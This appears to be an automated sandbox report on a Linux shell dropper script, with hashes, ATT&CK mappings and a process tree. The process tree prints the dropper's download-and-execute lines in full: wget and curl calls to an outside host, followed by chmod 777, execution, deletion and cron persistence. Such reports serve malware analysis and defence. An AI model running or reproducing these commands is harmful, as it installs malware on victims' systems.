f4753da29d120400a103b808d14bde88c9003a6e4d3f52ddf9de2d5b96b77846

Analysis

max time kernel
150s
max time network
179s
platform
debian-9_mipsel
resource
debian9-mipsel-20240611-en
resource tags

arch:mipselimage:debian9-mipsel-20240611-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
20/11/2024, 02:49

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General

Target
WAI5W_bins.sh
Size 10KB
Sample241120-da9xpazcpl
SHA256 f4753da29d120400a103b808d14bde88c9003a6e4d3f52ddf9de2d5b96b77846
MD5 870412aa111e349e42e1f548ec8a403b
SHA1 153e8fcedb429489b3693cc5cedeea4941f50863
SHA512 80c0d64609a745be89da8498981397db3523be1ecd3ec0a572884e7c6f78b3daddf65d840bf0330d1de60961c4cf648168ff448090fc66701736735404041ef0
SSDEEP 192:7c8YN2uxllcj/ZuuUrdzr8YN2uZllcj/l0VW:7c8YN2u2uuUrtr8YN2ug0k
MD5 SHA1 SHA512 SSDEEP

Score

8^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (1479) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 12 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1006	chmod
749	chmod
837	chmod
899	chmod
859	chmod
867	chmod
875	chmod
883	chmod
891	chmod
741	chmod
802	chmod
810	chmod

Executes dropped EXE 12 IoCs

ioc	pid	Process
/tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY	742	jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	750	vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	803	vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	811	I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	838	MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	860	zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	868	ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	876	YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	884	Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
/tmp/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp	892	MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
/tmp/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR	900	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
/tmp/hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p	1007	hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p

Renames itself 1 IoCs

pid	Process
901	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR

Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

Creates/modifies Cron job 1 TTPs 1 IoCs

Cron allows running tasks on a schedule, and is commonly used for malware persistence.

execution persistence privilege_escalatio

Cron

T1053.003

description	ioc	Process
File opened for modification	/var/spool/cron/crontabs/tmp.F62RAt	crontab

Enumerates running processes
Discovers information about currently running processes on the system

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/13/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/935/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1001/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1005/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1019/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/3/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/676/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/910/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/979/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1042/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1113/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/20/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/936/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1040/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1118/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/924/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1072/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1084/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/980/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/915/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/974/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1021/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1090/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/907/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1073/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/18/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/74/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/942/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/957/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/996/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1055/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/5/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/4/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/327/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/946/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/953/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/983/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1098/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/2/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/679/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/906/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/938/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/968/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/977/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1054/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1105/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/69/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1108/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/984/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/995/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1067/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/958/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/916/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1020/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/674/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/349/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/923/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1064/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/379/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/707/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/973/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/1038/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
File opened for reading	/proc/350/cmdline	Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR

System Network Configuration Discovery 1 TTPs 37 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
801	busybox
746	curl
753	wget
809	busybox
858	busybox
1010	wget
716	wget
740	busybox
888	curl
992	curl
789	curl
863	wget
815	curl
871	wget
830	busybox
843	wget
852	curl
866	busybox
895	wget
898	busybox
726	curl
807	curl
879	wget
880	curl
993	busybox
806	wget
814	wget
896	curl
910	wget
882	busybox
890	busybox
864	curl
872	curl
874	busybox
887	wget
745	wget
748	busybox

Writes file to tmp directory 33 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	curl
File opened for modification	/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	busybox
File opened for modification	/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	wget
File opened for modification	/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	wget
File opened for modification	/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	curl
File opened for modification	/tmp/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR	curl
File opened for modification	/tmp/hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p	busybox
File opened for modification	/tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY	curl
File opened for modification	/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	curl
File opened for modification	/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	curl
File opened for modification	/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	wget
File opened for modification	/tmp/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp	wget
File opened for modification	/tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY	busybox
File opened for modification	/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	busybox
File opened for modification	/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	wget
File opened for modification	/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	curl
File opened for modification	/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	busybox
File opened for modification	/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	wget
File opened for modification	/tmp/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp	busybox
File opened for modification	/tmp/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR	busybox
File opened for modification	/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	curl
File opened for modification	/tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo	busybox
File opened for modification	/tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa	busybox
File opened for modification	/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	curl
File opened for modification	/tmp/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR	wget
File opened for modification	/tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD	wget
File opened for modification	/tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa	wget
File opened for modification	/tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx	busybox
File opened for modification	/tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL	wget
File opened for modification	/tmp/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp	curl
File opened for modification	/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	curl
File opened for modification	/tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I	busybox
File opened for modification	/tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a	busybox

/tmp/WAI5W_bins.sh
/tmp/WAI5W_bins.sh
1⤵
PID:708
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - System Network Configuration Discovery
  PID:716
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:726
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:740
- /bin/chmod
  chmod 777 jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  ./jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  - Executes dropped EXE
  PID:742
- /bin/rm
  rm jCKUuK261HO2qfyeQcMJ2Rh0MLxXHXUaMY
  2⤵
  PID:744
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:745
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:746
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  ./vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm vThMU60BatKKz7M4SJA19yfrcnnk7GUcFD
  2⤵
  PID:752
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:753
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:789
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:801
- /bin/chmod
  chmod 777 vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - File and Directory Permissions Modification
  PID:802
- /tmp/vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  ./vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  - Executes dropped EXE
  PID:803
- /bin/rm
  rm vq7fuTr6poCBbuYKu55715YQxZHTQx8uIa
  2⤵
  PID:805
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:806
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:807
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:809
- /bin/chmod
  chmod 777 I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - File and Directory Permissions Modification
  PID:810
- /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  ./I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  - Executes dropped EXE
  PID:811
- /bin/rm
  rm I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
  2⤵
  PID:813
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:814
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:815
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod 777 MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - File and Directory Permissions Modification
  PID:837
- /tmp/MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  ./MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  - Executes dropped EXE
  PID:838
- /bin/rm
  rm MU5WMh88osvawZ8bUJUKA6f10hZSVV85vL
  2⤵
  PID:842
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:843
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:852
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:858
- /bin/chmod
  chmod 777 zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - File and Directory Permissions Modification
  PID:859
- /tmp/zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  ./zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  - Executes dropped EXE
  PID:860
- /bin/rm
  rm zzPkxlzbd3hgUCGde6u2c8FdlchamQ3g6I
  2⤵
  PID:862
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:863
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:864
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:866
- /bin/chmod
  chmod 777 ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - File and Directory Permissions Modification
  PID:867
- /tmp/ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  ./ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  - Executes dropped EXE
  PID:868
- /bin/rm
  rm ljHp8J1aTAXwkieEcb2bSqvnlGCVoSEPbo
  2⤵
  PID:870
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:871
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:872
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:874
- /bin/chmod
  chmod 777 YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - File and Directory Permissions Modification
  PID:875
- /tmp/YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  ./YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  - Executes dropped EXE
  PID:876
- /bin/rm
  rm YBI65ytUjOLI7cUUlzB8WTFhx9MrFwGhGa
  2⤵
  PID:878
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:879
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:880
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:882
- /bin/chmod
  chmod 777 Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - File and Directory Permissions Modification
  PID:883
- /tmp/Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  ./Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  - Executes dropped EXE
  PID:884
- /bin/rm
  rm Ncfmi5B6nlel4yzUgdeSZqYwNXacYBPr5a
  2⤵
  PID:886
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:887
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:888
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:890
- /bin/chmod
  chmod 777 MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  2⤵
  - File and Directory Permissions Modification
  PID:891
- /tmp/MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  ./MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  2⤵
  - Executes dropped EXE
  PID:892
- /bin/rm
  rm MbUk259n3rlKatHzOpVuhN4x1GYUt9nJTp
  2⤵
  PID:894
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:895
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:896
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:898
- /bin/chmod
  chmod 777 Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
  2⤵
  - File and Directory Permissions Modification
  PID:899
- /tmp/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
  ./Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:900
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:902
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:903
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:904
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:905
- /bin/rm
  rm Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
  2⤵
  PID:907
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p
  2⤵
  - System Network Configuration Discovery
  PID:910
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p
  2⤵
  - System Network Configuration Discovery
  PID:992
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:993
- /bin/chmod
  chmod 777 hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p
  2⤵
  - File and Directory Permissions Modification
  PID:1006
- /tmp/hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p
  ./hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p
  2⤵
  - Executes dropped EXE
  PID:1007
- /bin/rm
  rm hOdPfgDXRVnwuiXRg1cP0qxORyIIXRnw7p
  2⤵
  PID:1009
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/W7Zqj1wikmu2W3o0k92WzOVekSS2Ixy9AA
  2⤵
  - System Network Configuration Discovery
  PID:1010

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx

Path /tmp/I0A06e0QfY7lQp4jDsbzPNWuMsQ3HkPmDx
Size 151KB
SHA256 bdebb67266d5f96b7d85cfb9644deee81161b54b60b0fded6cf36544a15fa9b2
MD5 3c90d5820bddcf7c5d1bd21dfa49d958
SHA1 5ba05bd489e50af97d6dc45e3a0be60e494d5083
SHA512 54a0e2ec10040634100fb5c4bddc35f558471f4ff833f9ad20f16ffd14c286cf251841bdaad7c557c3c78efc2094db91038c195c0ddabdecf9beac97ff2ce01a
SSDEEP 1536:mVqSjUF+uLHLVdiLzLsLzLsL7LeLGLXL0LLLkLhqqvZjptByZEGkbU+/pWacxZkI:tr9dy1B2gSpLg70mLjXswi5itRx2p
MD5 SHA1 SHA512 SSDEEP

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Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR

Path /tmp/Iti90bZ2C3vS9mDKFMVpLdoPpZLd6uKthR
Size 151KB
SHA256 2d63c81a782853efe672a1d9cb00a339ec57207b4075754a1baf1df9af466948
MD5 6c583043d91c55aa470c08c87058e917
SHA1 abf65a5b9bba69980278ad09356e53de8bb89439
SHA512 82ee5f3884edc2cb3e68d8634353964cdb991e250b0592a2f80f5ffb738e64860abe6d030aec0d6ab94596c275b478080579fd65b055cc9055e1ef3de6dd59a5
